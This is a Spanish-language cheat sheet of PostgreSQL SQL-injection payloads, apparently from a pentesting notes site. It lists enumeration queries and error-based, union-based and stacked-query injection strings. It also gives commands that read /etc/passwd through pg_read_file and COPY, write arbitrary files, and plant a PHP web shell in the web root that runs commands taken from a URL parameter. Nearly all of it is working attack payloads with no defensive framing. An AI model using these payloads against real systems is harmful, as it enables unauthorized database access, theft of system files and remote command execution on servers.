PostgreSQL

Enumeración

Versión

# Versión
SELECT version()

Usuarios

# Usuario actual
SELECT current_user

Bases de datos

# Listado de base de datos
SELECT datname FROM pg_database

Tablas

# Tablas de una base de datos
SELECT table_name FROM <database>.information_schema.tables WHERE table_schema='public'

Columnas

# Columnas de una tabla
SELECT column_name,data_type FROM <database>.information_schema.columns WHERE table_name='<table>'

Datos

# Datos de una tabla
SELECT * FROM <table>
SELECT * FROM <database>.<schema>.<table>

Error-based SQLi

cast(version() as integer)

Union-based SQLi

Obtener información dentro de una sola columna

UNION SELECT columna1 || ' - ' || columna2 || ' - ' || columna3 FROM tabla1-- -

Stacked Queries SQLi

;SELECT version()
;SELECT * FROM <table>
;INSERT INTO <table> (column1, column2, column3) VALUES (value1, value2, value3)

Lectura de archivos

SELECT pg_read_file('/etc/passwd')
CREATE TABLE tmp(data text);
COPY tmp FROM '/etc/passwd';
SELECT * FROM tmp;

Escritura de archivos

CREATE TABLE tmp(data text);
COPY tmp FROM '/etc/passwd';
COPY tmp (data) TO '/var/tmp/temp.txt';

Webshell

CREATE TABLE tmp(data text);
INSERT INTO tmp(data) VALUES ('<?php echo system($_GET["cmd"]); ?>');
COPY tmp(data) TO '/var/www/html/webshell.php';

Última actualización